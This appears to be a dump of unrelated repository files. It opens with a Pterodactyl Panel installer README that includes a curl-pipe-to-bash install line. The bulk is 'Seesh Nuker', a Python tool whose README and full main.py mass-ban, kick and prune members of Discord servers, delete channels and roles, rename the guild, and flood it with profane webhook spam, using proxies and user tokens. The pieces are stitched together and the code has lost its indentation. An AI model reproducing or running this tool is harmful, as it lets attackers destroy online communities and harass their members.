tooaCpK6ZoCtRXKpRempbTv5ey83bhkAUphz8fznvP8znn%2B%2F3NeEEJgNBoRRSmz0ub%2FfuxEacBg%2FDmYt
iCjgo5NG2mBXq%2BH5I1ogMRk9Zbd%2BQU2e1ML6VPLOyf5tvBQ8yT1lG10imxsABm7SLs898GTpyYynEzP60hO3
trHDKvMigUwdeaceacqzp7nOI4n0SSIIjl36ao4Z356OV07fSQAk6xJ3XGg%2BLCr1d1OYlVHp4eUHPnerU79ZA%
2F1kuv1JQMAg%2BE4O2P23EumF3VkvHprsZKMzKwbRUXFEyTvSIEmTVbrysp%2BWr8wfQHGK6WChVa3bKUmdWou%
2BjpArdGkzZ41c1zG%2Fu5uGH4swzd561F%2BuhIT4%2BLnSuPsv9%2BJKIpjNr9dXYOyk7%2FBZrcjIT4eCnoKg
edJP4BEqhG77E3NKP31FO7cfQA5K0dSYuLgz2TwCWJSOBzG6crzKK%2BohNfni%2Bx6OMUMMNe%2Fgf7ocbw0v0a
cKg6J8Ql0q%2BT%2FAXR5PNi5dz9c71upuQqCKFAD%2BYhrZLEAmpodaHO3Qy6TI3NhBpbrshGtOWKOSMYwYGQM8
nJzoFJNxP2HjyIQho4PewK6hBktoDcUwtIln4PjOWzflQ%2Be5yl0yCCYgYikTclGlxadio%2BBQCSiW1UXoVGrK
YwH4RgMrjU1HAB4vR6LzWYfFUCKxfS8Ftk5qxHoCUQAUkRJaSEokkV6Y%2F%2BJUOC4hn6A39NVXVBYeNP8piH6H
eA4fPbpdBQV5KOx0QaL1YppX3Jgk0TwH2Vg6S3u%2BdB91%2B%2FpuNYPYFl5uP5V7ZqvsrX7jxqMXR6ff3gCQST
zFI0a1TX3wIs8ul%2Bq4HuWAAiM39vhOuR1O1fQ2gT%2F26Z8Z5vrl2OHi9OXZn995nLV9aFfS6UC9JeJPfuK0NB
ohWpCHMSAAsFe74WWP%2BvT25wtP9Bpob6uGqqyDnOtaeumjRu%2ByFu36VntK%2FPA5umTJeUtPWZSU9BCgud66
1odVp3DZtkc7AnYR33RRC708PrVi1larW7XwZIjLnd7R6SgSqWSNjU1B3F72pz5TZbXmX5vV81Yb7Lg7XT%2FUXr
iu8XLVqw6c6XqWnBKiiYU%2BMt3wWF7u7i91XlSEITwSAZ%2FCzAAHsJVbwXYFFEAAAAASUVORK5CYII%3D)](ht
tps://www.gnu.org/software/bash/)

Unofficial scripts for installing Pterodactyl Panel & Wings. Works with the latest version of Pterodactyl!

Read more about [Pterodactyl](https://pterodactyl.io/) here. This script is not associated with the official Pterodactyl Project.

## Features

- Automatic installation of the Pterodactyl Panel (dependencies, database, cronjob, nginx).
- Automatic installation of the Pterodactyl Wings (Docker, systemd).
- Panel: (optional) automatic configuration of Let's Encrypt.
- Panel: (optional) automatic configuration of firewall.

## Help and support

For help and support regarding the script itself and **not the official Pterodactyl project**, you can join the [Discord Chat](https://pterodactyl-installer.se/discord).

## Supported installations

List of supported installation setups for panel and Wings (installations supported by this installation script).

### Supported panel operating systems and webservers

Operating System	Version	nginx support	PHP Version
Ubuntu	14.04	:red_circle:	
	16.04	:red_circle: *	
	18.04	:white_check_mark:	8.0

	20.04	:white_check_mark:	8.0
Debian	8	:red_circle: *	
	9	:white_check_mark:	8.0
	10	:white_check_mark:	8.0
	11	:white_check_mark:	8.0
CentOS	6	:red_circle:	
	7	:white_check_mark:	8.0
	8	:white_check_mark:	8.0

### Supported Wings operating systems

Operating System	Version	Supported
Ubuntu	14.04	:red_circle:
	16.04	:red_circle: *
	18.04	:white_check_mark:
	20.04	:white_check_mark:
Debian	8	:red_circle:
	9	:white_check_mark:
	10	:white_check_mark:
	11	:white_check_mark:
CentOS	6	:red_circle:
	7	:white_check_mark:
	8	:white_check_mark:

* Ubuntu 16 and Debian 8 no longer supported since Pterodactyl does not actively support it.

## Using the installation scripts

To use the installation scripts, simply run this command as root. The script will ask you whether you would like to install just the panel, just the daemon or both.

```bash
bash <(curl -s https://pterodactyl-installer.se)
```

Note: On some systems, it's required to be already logged in as root before executing the one-line command (where `sudo` is in front of the command does not work).

Here is a [YouTube video](https://www.youtube.com/watch?v=E8UJhyUFoHM) that illustrates the installation process.

## Firewall setup

The installation scripts can install and configure a firewall for you. The script will ask whether you want this or not. It is highly recommended to opt-in for the automatic firewall setup.

## Development & Ops

### Testing the script locally

To test the script, we use [Vagrant](https://www.vagrantup.com). With Vagrant, you can quickly get a fresh machine up and running to test the script.

If you want to test the script on all supported installations in one go, just run the following.

```bash
vagrant up
```

If you only want to test a specific distribution, you can run the following.

```bash
vagrant up <name>
```

Replace name with one of the following (supported installations).

- `ubuntu_focal`
- `ubuntu_bionic`
- `debian_bullseye`
- `debian_buster`
- `debian_stretch`
- `centos_8`
- `centos_7`

Then you can use `vagrant ssh <name of machine>` to SSH into the box. The project directory will be mounted in `/vagrant` so you can quickly modify the script locally and then test the changes by running the script from `/vagrant/install_panel.sh` and `/vagrant/install_wings.sh` respectively.

### Creating a release

There are a couple of files that each release commit should always change. Firstly, update the `CHANGELOG.md` so that the release date and release tag are both displayed. No changes should be made to the changelog points themselves. Secondly, update `GITHUB_SOURCE` and `SCRIPT_RELEASE` in both `install-panel.sh` and `install-wings.sh`. Thirdly, update `SCRIPT_RELEASE` in `install.sh`. Finally, you can now push a commit with the message `Release vX.Y.Z`. Create a release on GitHub. See [this commit](https://github.com/vilhelmprytz/pterodactyl-installer/commit/90aaae10785f1032fdf90b216a4a8d8ca64e6d44) for reference.

When the release is published, push another commit which revers the changes you made to `install-wings.sh` and `install-panel.sh`. See [this commit](https://github.com/vilhelmprytz/pterodactyl-installer/commit/be5f361523d1d546d49eef8b3ce1a9145eded234) for reference.

## Contributors ?

Created and maintained by [Vilhelm Prytz](https://github.com/vilhelmprytz).

Thanks to the Discord moderators [sam1370](https://github.com/sam1370), [Linux123123](https://github.com/Linux123123) and [sinjs](https://github.com/sinjs) for helping on the Discord server!

And special thanks to [Linux123123](https://github.com/Linux123123) for frequently contributing to the project with bug reports, feature requests, pull requests, and more!

Repository: seesh-gen

File: README.md

```
### Currently Not Working
```

Repository: Seesh-Nuker

File: README.md

~~~
<div align="center">
<img
height="100px"
width="100px"
src="https://camo.githubusercontent.com/4b028e8e841f57ee96b472fa88ea7ed66ddd3720/6874747
03a2f2f692e696d6775722e636f6d2f65597779386c632e706e67"
></img>
<h1>Seesh-Nuker</h1><br>
</div>
<b>Credits:</b><br />
- Remake of Seraph Nuker <br />
- Don't Forget to leave a star for more<br>

<br />
<b>Fetures:</b><br />
- Autoscrape Everything(members, roles, channels)<br>
- Added Proxy support<br>
- Commands - Banall, kickall, prune, masschannels, nuke<br>
- Prefect Nuke command trash a whole server with single cmd <br>
- Autocreate config.json<br>
<br />

## How To use
```bash
run install.bat
pip install -r requirements.txt OR pip3 install -r requirements.txt
python main.py OR python3 main.py
```

## Screenshot:  <br>
<img
src="https://media.discordapp.net/attachments/998749869848154122/1014912627140468736/unk
nown.png?width=608&height=319"></img><br>
~~~

File: channels.txt

File: members.txt

File: roles.txt

File: proxies.txt

File: main.py

```
import os
from encodings import utf_8
import sys
from importlib import reload
encoding = 'UTF-8',
reload(sys)
os.system("")

print("Checking For All Required Files...")
try:
import discord, requests, sys, time, random, asyncio, json
from pypresence import Presence
from threading import Thread
from discord.ext import commands
from colorama import Fore, Style
from concurrent.futures import ThreadPoolExecutor
except:
print("[!] Missing dependencies, please install all dependencies")
print("Use \x1b[38;5;213mpip install -r requirements.txt\033[37m to install all dependencies")
print("[!] Exiting...")
sys.exit()
try:
if os == "Windows":
os.system('cls & title [Seesh Nuker] - Starting & mode 69,20')
except:
os.system('clear')
os.system('title [Seesh Nuker] - Starting & mode 69,20')

try:
with open('data/config.json') as f:
config = json.load(f)
except:
with open('data/config.json', 'w') as f:
print("\n\033[91m>\033[39m Config file not found, creating one")
token = input("\n\033[91m>\033[39m Enter your token: ")
prefix = input("\n\033[91m>\033[39m Enter your prefix: ")
nuke_name = input("\n\033[91m>\033[39m Enter your nuked by: ")
invite_link = input("\n\033[91m>\033[39m Enter your Spam Invite Link: ")
json.dump({"Token": token,
"Prefix": prefix,
"Channel-Names": [nuke_name+" was here", nuke_name+" ruined you"],
"Server-Names": [nuke_name+" destroyed you"],
"Role-Names": [nuke_name+" was here", nuke_name+" ruined you"],
"Reason": ["beamed by "+nuke_name, nuke_name+" fucked me"],
"Spam": True,
"Webhook-Names": [nuke_name+" was here", "get beamed by "+nuke_name],
"name": nuke_name,
"Spam-Messages": "@everyone "+nuke_name+" WIZZED YOU",
"Spam-Invite": '@everyone fuck you '+invite_link,
"Spam-Amount": 10000}, f, indent=4)
input("\n\033[91m>\033[39m Press Enter To Proceed")
pass
proxy = None
with open('data/config.json') as f:
config = json.load(f)
token = config.get('Token')

prefix = config.get('Prefix')
proxyask = input("\n\033[91m>\033[39m Do you want to use proxy? (1) Yes (2) No: ")
if proxyask == "1":
print("\033[91m>\033[39m Proxy Enabled")
with open ('data/proxies.txt', 'r') as f:
proxies = f.read().splitlines()
proxy1 = random.choice(proxies)
proxy = {'http': proxy1, 'https': proxy1}

channel_names = config.get('Channel-Names')
server_names = config.get('Server-Names')
role_names = config.get('Role-Names')
reason = config.get('Reason')
name = config.get('name')
spam = config.get('Spam')
invilink = config.get('Spam-Invite')
webhook_names = config.get('Webhook-Names')
spam_messages = config.get('Spam-Messages')
spam_amount = config.get('Spam-Amount')
Ban_Whitelist = config.get('Ban_Whitelist')

def check_token(token: str) -> str:
if requests.get("https://discord.com/api/v10/users/@me", headers={"Authorization":
token}).status_code == 200:
return "user"
else:
return "bot"

token_type = check_token(token)

if token_type == "user":
headers = {'Authorization': f'{token}'}
client = commands.Bot(command_prefix=prefix, case_insensitive=False, self_bot=True)
else:
headers = {'Authorization': f'Bot {token}'}
client = commands.Bot(command_prefix=prefix, case_insensitive=False, self_bot=False,
intents=discord.Intents().all())
client.remove_command("help")

async def memberids(guildID):
```

```
try:
guild = client.get_guild(guildID)
except:
print("\033[91m>\033[39m Invalid Guild ID")
await menu()

try:
os.remove("Scraped/members.txt")
except:
pass
membercount = 0
with open('Scraped/members.txt', 'a') as f:
for member in guild.members:
membercount += 1
f.write(str(member.id) + "\n")
print(f"\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Scraped
\x1b[38;5;213m{membercount}\033[37m Members")

async def roleids(guildID):
try:
guild = client.get_guild(guildID)
except:
print("\033[91m>\033[39m Invalid Guild ID")
await menu()

try:
os.remove("Scraped/roles.txt")
except:
pass
rolecount = 0
with open('Scraped/roles.txt', 'a') as f:
for role in guild.roles:
rolecount += 1
f.write(str(role.id) + "\n")
print(f"\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Scraped
\x1b[38;5;213m{rolecount}\033[37m Roles")

async def channelids(guildID):
try:
guild = client.get_guild(guildID)
except:
print("\033[91m>\033[39m Invalid Guild ID")
await menu()

try:
os.remove("Scraped/channels.txt")
except:
pass
channelcount = 0
with open('Scraped/channels.txt', 'a') as f:
for channel in guild.channels:
channelcount += 1
f.write(str(channel.id) + "\n")
print(f"\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Scraped
\x1b[38;5;213m{channelcount}\033[37m Channels")
class Seesh:

def Name(guild):
try:

json = {
'name': random.choice(server_names),
}
r = requests.patch(f'https://discord.com/api/v10/guilds/{guild}', headers=headers,
json=json)
if r.status_code == 200 or r.status_code == 201 or r.status_code == 204:
print(f"\x1b[38;5;213m[\033[37m+\x1b[38;5;213m]\033[37m Renamed Guild To\x1b[38;5;213m
{json['name']}\x1b[38;5;15")
else:
print(f"\x1b[38;5;213m[\033[37m-\x1b[38;5;213m]\033[37m Couldn't Rename
Guild\x1b[38;5;213m {json['name']}\x1b[38;5;15")
except:
pass

def CreateWebhook(channel):
try:
json = {
'name': random.choice(webhook_names),
}
r = requests.post(f'https://discord.com/api/v10/channels/{channel}/webhooks',
headers=headers, json=json, proxies=proxy)
web_id = r.json()['id']
web_token = r.json()['token']
return f'https://discord.com/api/webhooks/{web_id}/{web_token}'
except:
pass

def SendWebhook(webhook):
try:
for i in range(spam_amount):
randcolor = random.randint(0, 16777215)
data = {
'content':
invilink,
'embeds': [{
'title':
'fucked by your dad',
'tts':
'true',
'description':
'.',
'url':
"https://discord.gg/seesh",
'color':
randcolor,
'fields': [{
'name': spam_messages,
'value': '.'
}, {
'name': spam_messages,
'value': '.'
}, {
'name': spam_messages,
'value': '.'
}, {
'name': spam_messages,
'value': '.'
}],
'author': {
'name':
'Seesh fucks you',
'url':
'https://media.discordapp.net/attachments/1005729774351691776/1014038921002373150/a_1852
0f6f7947e5acfdffe8e63b748c2e.gif?width=221&height=221',
'icon_url':
'https://media.discordapp.net/attachments/1005729774351691776/1014038919836336198/a_04d5
36f4606dd36b6d154ede2401e8e1.gif?width=405&height=162'
},
'footer': {
'text':
spam_messages,
'icon_url':
'https://media.discordapp.net/attachments/1005729774351691776/1014038919836336198/a_04d5
36f4606dd36b6d154ede2401e8e1.gif?width=405&height=162'
},
'image': {
'url':
'https://media.discordapp.net/attachments/1005729774351691776/1014038921002373150/a_1852
0f6f7947e5acfdffe8e63b748c2e.gif?width=221&height=221'
},
'thumbnail': {
'url':
'https://media.discordapp.net/attachments/1005729774351691776/1014038919836336198/a_04d5
36f4606dd36b6d154ede2401e8e1.gif?width=405&height=162'
}
}, {
'url':
'https://media.discordapp.net/attachments/1005729774351691776/1014038921002373150/a_1852
0f6f7947e5acfdffe8e63b748c2e.gif?width=221&height=221',
'image': {
'url':
'https://media.discordapp.net/attachments/1005729774351691776/1014038919836336198/a_04d5
36f4606dd36b6d154ede2401e8e1.gif?width=405&height=162'
}
}, {
'url':
'https://media.discordapp.net/attachments/1005729774351691776/1014038919836336198/a_04d5
36f4606dd36b6d154ede2401e8e1.gif?width=405&height=162',
'image': {
'url':
'https://media.discordapp.net/attachments/1005729774351691776/1014038919836336198/a_04d5
36f4606dd36b6d154ede2401e8e1.gif?width=405&height=162'
```

```
}
}, {
'url': 'https://discord.gg/seesh',
'image': {
'url':
'https://media.discordapp.net/attachments/1005729774351691776/1014038919836336198/a_04d5
36f4606dd36b6d154ede2401e8e1.gif?width=405&height=162'
}
}],
'username':
'Seesh Ruins You',
'avatar_url':
'https://media.discordapp.net/attachments/1005729774351691776/1014038919836336198/a_04d5
36f4606dd36b6d154ede2401e8e1.gif?width=405&height=162'
}
spaming = requests.post(webhook, json=data, proxies=proxy)
spammingerror = spaming.text
if spaming.status_code == 200 or spaming.status_code == 204:
continue
if 'rate limited' in spammingerror.lower():
try:
j = json.loads(spammingerror)
ratelimit = j['retry_after']
timetowait = ratelimit / 1000
time.sleep(timetowait)
except:
delay = random.randint(5, 10)
time.sleep(delay)
else:
delay = random.randint(30, 60)
time.sleep(delay)
except Exception as e:
print(f"\x1b[38;5;196m[\033[37m+\x1b[38;5;196m]\033[37m Error: {e}")
pass
def Ban(guild, member):
try:
r = requests.put(f'https://discord.com/api/v10/guilds/{guild}/bans/{member}',
headers=headers, proxies=proxy)
if r.status_code == 200 or r.status_code == 201 or r.status_code == 204:
print(f"\x1b[38;5;213m[\033[37m+\x1b[38;5;213m]\033[37m Banned
\x1b[38;5;113m{member}\x1b[38;5;15")
else:
print(f"\x1b[38;5;213m[\033[37m-\x1b[38;5;213m]\033[37m Couldn't Ban\x1b
{Fore.LIGHTRED_EX} {member.strip()}\x1b[38;5;15 ")
except:
pass
def Kick(guild, member):
try:
r = requests.delete(f'https://discord.com/api/v10/guilds/{guild}/members/{member}',
headers=headers, proxies=proxy)
if r.status_code == 200 or r.status_code == 201 or r.status_code == 204:
print(f"\x1b[38;5;213m[\033[37m+\x1b[38;5;213m]\033[37m Kicked\x1b[38;5;113m
{member.strip()}\x1b[38;5;15")
else:
```

```
print(f"\x1b[38;5;213m[\033[37m-\x1b[38;5;213m]\033[37m Couldn't
Kick\x1b{Fore.LIGHTRED_EX} {member.strip()}\x1b[38;5;15")
except:
pass

def DelChannel(guild, channel):
try:
r = requests.delete(f'https://discord.com/api/v10/channels/{channel}', headers=headers,
proxies=proxy)
if r.status_code == 200 or r.status_code == 201 or r.status_code == 204:
print(f"\x1b[38;5;213m[\033[37m+\x1b[38;5;213m]\033[37m Deleted Channel\x1b[38;5;113m
{channel.strip()}\x1b[38;5;15")
else:
print(f"\x1b[38;5;213m[\033[37m-\x1b[38;5;213m]\033[37m Couldn't Delete
Channel\x1b{Fore.LIGHTRED_EX} {channel.strip()}\x1b[38;5;15")
except:
pass

def CreateChannel(guild):
try:
json = {
'name': random.choice(channel_names),
'type': 0
}
r = requests.post(f'https://discord.com/api/v10/guilds/{guild}/channels',
headers=headers, json=json, proxies=proxy)
if r.status_code == 200 or r.status_code == 201 or r.status_code == 204:
print(f"\x1b[38;5;213m[\033[37m+\x1b[38;5;213m]\033[37m Created Channel\x1b[38;5;113m
{json['name']}\x1b[38;5;15")
if spam == True:
webhook = Seesh.CreateWebhook(r.json()['id'])
Thread(target=Seesh.SendWebhook, args=(webhook,)).start()
else:
print(f"\x1b[38;5;213m[\033[37m-\x1b[38;5;213m]\033[37m Couldn't Create
Channel\x1b{Fore.LIGHTRED_EX} {json['name']}\x1b[38;5;15")
except:
pass

def DelRole(guild, role):
try:
r = requests.delete(f'https://discord.com/api/v10/guilds/{guild}/roles/{role}',
headers=headers, proxies=proxy)
if r.status_code == 200 or r.status_code == 201 or r.status_code == 204:
print(f"\x1b[38;5;213m[\033[37m+\x1b[38;5;213m]\033[37m Deleted Role\x1b[38;5;113m
{role.strip()}\x1b[38;5;15")
else:
print(f"\x1b[38;5;213m[\033[37m-\x1b[38;5;213m]\033[37m Couldn't Delete
Role\x1b{Fore.LIGHTRED_EX} {role.strip()}\x1b[38;5;15")
except:
pass
def CreateRole(guild):

try:
json = {
```

```
'hoist': 'true',
'name': random.choice(role_names),
'mentionable': 'true',
'color': random.randint(1000000,9999999),
'permissions': random.randint(1,10)
}
r = requests.post(f'https://discord.com/api/v10/guilds/{guild}/roles', headers=headers,
json=json, proxies=proxy)
if r.status_code == 200 or r.status_code == 201 or r.status_code == 204:
print(f"\x1b[38;5;213m[\033[37m+\x1b[38;5;213m]\033[37m Created Role\x1b[38;5;113m
{json['name']}\x1b[38;5;15")
else:
print(f"\x1b[38;5;213m[\033[37m-\x1b[38;5;213m]\033[37m Couldn't Create
Role\x1b{Fore.LIGHTRED_EX}{json['name']}\x1b[38;5;15")
except:
pass

async def menu():
os.system(f'cls & mode 85,20 & title [Seesh Nuker] - Connected: {client.user}')
print(f'''{Fore.LIGHTRED_EX}
????????????????????????????????????????
????????????????????????????????????????
????????????????????????????????????????
????????????????????????????????????????
????????????????????????????????????????
????????????????????????????????????????
{Style.BRIGHT}''')
print(f'''{Fore.RED} Choose Your Option Below :- {Style.BRIGHT}''')
print(f'\033[37m[\x1b[38;5;113m1\033[37m] \033[37m Ban Members     \x1b[38;5;213m')
print(f'\033[37m[\x1b[38;5;113m2\033[37m] \033[37m Kick Members    \x1b[38;5;213m')
print(f'\033[37m[\x1b[38;5;113m3\033[37m] \033[37m Prune Members   \x1b[38;5;213m')
print(f'\033[37m[\x1b[38;5;113m4\033[37m] \033[37m Delete Channels \x1b[38;5;213m')
print(f'\033[37m[\x1b[38;5;113m5\033[37m] \033[37m Create Channels \x1b[38;5;213m')
print(f'\033[37m[\x1b[38;5;113m6\033[37m] \033[37m Nuke     \x1b[38;5;213m')
choice = input("\x1b[38;5;213m> \033[37mChoice\x1b[38;5;213m: \033[37m")
if choice > '6' or choice < '1':
print(f"\x1b[38;5;213m[\033[37m-\x1b[38;5;213m]\033[37m Invalid Choice\x1b[38;5;15")
await menu()
if choice == "1":
guildID = int(input("\x1b[38;5;213m> \033[37mGuild ID\x1b[38;5;213m: \033[37m"))
try:
guild = client.get_guild(guildID)
# await memberids(guildID)
except:
print("\033[91m>\033[39m Invalid Guild ID")
await menu()

print(f'\n\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Starting Ban Process')
mainMembers = []
num = 0

with open("Scraped/members.txt", "r") as f:
ids = f.readlines()
```

```
for id in ids:
mainMembers.append(id)

members_1 = []
members_2 = []
members_3 = []
members_4 = []
members_5 = []
members_6 = []
total = len(mainMembers)
members_per_arrary = round(total/6)

for member in mainMembers:
if len(members_1) != members_per_arrary:
members_1.append(member)
else:
if len(members_2) != members_per_arrary:
members_2.append(member)
else:
if len(members_3) != members_per_arrary:
members_3.append(member)
else:
if len(members_4) != members_per_arrary:
members_4.append(member)
else:
if len(members_5) != members_per_arrary:
members_5.append(member)
else:
if len(members_6) != members_per_arrary:
members_6.append(member)
else:
pass
print(f"\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Total Members: {total}")
while True:
#try:
Thread(target=Seesh.Ban, args=(guild.id, members_1[num],)).start()
Thread(target=Seesh.Ban, args=(guild.id, members_2[num],)).start()
Thread(target=Seesh.Ban, args=(guild.id, members_3[num],)).start()
Thread(target=Seesh.Ban, args=(guild.id, members_4[num],)).start()
Thread(target=Seesh.Ban, args=(guild.id, members_5[num],)).start()
Thread(target=Seesh.Ban, args=(guild.id, members_6[num],)).start()

num += 1
#except IndexError:
#break
#except:
#pass

time.sleep(2)
await menu()
if choice == "2":
guildID = int(input("\x1b[38;5;213m> \033[37mGuild ID\x1b[38;5;213m: \033[37m"))
try:
guild = client.get_guild(guildID)
```

```
# await memberids(guildID)
except:
print("\033[91m>\033[39m Invalid Guild ID")
await menu()

print(f'\n\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Starting Kick Process')

mainMembers = []
num = 0

with open("Scraped/members.txt", "r") as f:
ids = f.readlines()

for id in ids:
mainMembers.append(id)

members_1 = []
members_2 = []
members_3 = []
total = len(mainMembers)
members_per_arrary = round(total/3)

for member in mainMembers:
if len(members_1) != members_per_arrary:
members_1.append(member)
else:
if len(members_2) != members_per_arrary:
members_2.append(member)
else:
if len(members_3) != members_per_arrary:
members_3.append(member)
else:
pass
while True:
#try:
Thread(target=Seesh.Kick, args=(guild.id, members_1[num],)).start()
Thread(target=Seesh.Kick, args=(guild.id, members_2[num],)).start()
Thread(target=Seesh.Kick, args=(guild.id, members_3[num],)).start()
num += 1
#except IndexError:
# break
#except:
#  pass

time.sleep(2)
await menu()

if choice == "3":
guildID = int(input("\x1b[38;5;213m> \033[37mGuild ID\x1b[38;5;213m: \033[37m"))
try:
guild = client.get_guild(guildID)
except:
print("\033[91m>\033[39m Invalid Guild ID")
await menu()
```

```
print(f'\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Starting Prune Process')
await guild.prune_members(days=1, compute_prune_count=False, roles=guild.roles[100])
print(f'\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Prune Process Complete')
await menu()

if choice == "4":
guildID = int(input("\x1b[38;5;213m> \033[37mGuild ID\x1b[38;5;213m: \033[37m"))
try:
guild = client.get_guild(guildID)
await channelids(guildID)
except:
print("\033[91m>\033[39m Invalid Guild ID")
await menu()

print(f'\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Deleting Channels..')

cnum = 0
channels = []

with open("Scraped/channels.txt", "r") as f:
cids = f.readlines()

for id in cids:
channels.append(id)

while True:
try:
Thread(target=Seesh.DelChannel, args=(guild.id, channels[cnum],)).start()
cnum += 1
except IndexError:
break
except:
pass

time.sleep(2)
await menu()


if choice == "5":
guildID = int(input("\x1b[38;5;213m> \033[37mGuild ID\x1b[38;5;213m: \033[37m"))
channel_amount = int(input("\x1b[38;5;213m> \033[37mAmount\x1b[38;5;213m: \033[37m"))
try:
guild = client.get_guild(guildID)
except:
print("\033[91m>\033[39m Invalid Guild ID")
await menu()

print(f'\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Creating Channels..')


for i in range(channel_amount):
Thread(target=Seesh.CreateChannel, args=(guild.id,)).start()
```

```
time.sleep(2)
await menu()
if choice == "6":
guildID = int(input("\x1b[38;5;213m> \033[37mGuild ID\x1b[38;5;213m: \033[37m"))
try:
guild = client.get_guild(guildID)
await channelids(guildID)
await memberids(guildID)
await roleids(guildID)
except:
print("\033[91m>\033[39m Invalid Guild ID")
await menu()

print(f'\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Starting Nuke Process')

mainMembers = []
num = 0
with open("Scraped/members.txt", "r") as f:
ids = f.readlines()
for id in ids:
mainMembers.append(id)

members_1 = []
members_2 = []
members_3 = []
total = len(mainMembers)
members_per_arrary = round(total/3)

for member in mainMembers:
if len(members_1) != members_per_arrary:
members_1.append(member)
else:
if len(members_2) != members_per_arrary:
members_2.append(member)
else:
if len(members_3) != members_per_arrary:
members_3.append(member)
else:
pass
Seesh.Name(guild.id)
while True:
try:
Thread(target=Seesh.Ban, args=(guild.id, members_1[num],)).start()
Thread(target=Seesh.Ban, args=(guild.id, members_2[num],)).start()
Thread(target=Seesh.Ban, args=(guild.id, members_3[num],)).start()
num += 1
except IndexError:
break
except:
pass
cnum = 0
channels = []

with open("Scraped/channels.txt", "r") as f:
```

```
cids = f.readlines()

for id in cids:
channels.append(id)

while True:
try:
Thread(target=Seesh.DelChannel, args=(guild.id, channels[cnum],)).start()
cnum += 1
except IndexError:
break
except:
pass
channel_amount = 50
for i in range(channel_amount):
Thread(target=Seesh.CreateChannel, args=(guild.id,)).start()
await time.sleep(2)
await menu()
await asyncio.wait([menu()])




try:
RPC = Presence(client.user.id)
RPC.connect()

RPC.update(details="Main Menu", large_image="Seesh", small_image="Seesh",
large_text="Seesh Nuker", start=time.time())
except:
pass
@client.event
async def on_ready():
if token_type == "bot":
try:
print(f'\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Logged in as
{client.user.name}')
await menu()
except:
pass
@client.event
async def on_connect():
if token_type == "user":
try:
print(f'\x1b[38;5;213m[\033[37m!\x1b[38;5;213m]\033[37m Logged in')
await menu()
except:
pass
@client.event
async def on_command_error(ctx, error):
if isinstance(error, commands.CommandNotFound):
pass

def Startup():
```

```
if token_type == "user":
try:
client.run(token, bot=False)
except:
print(f"\n\033[91m>\033[39m Invalid Token")
input()
os._exit(0)

elif token_type == "bot":
try:
client.run(token)
except:
print(f"\n\033[91m>\033[39m Invalid Token")
print(f"\n\033[91m>\033[39m Make sure to enable all intents")
input()
os._exit(0)
else:
os._exit(0)

if __name__ == "__main__":
Startup()
```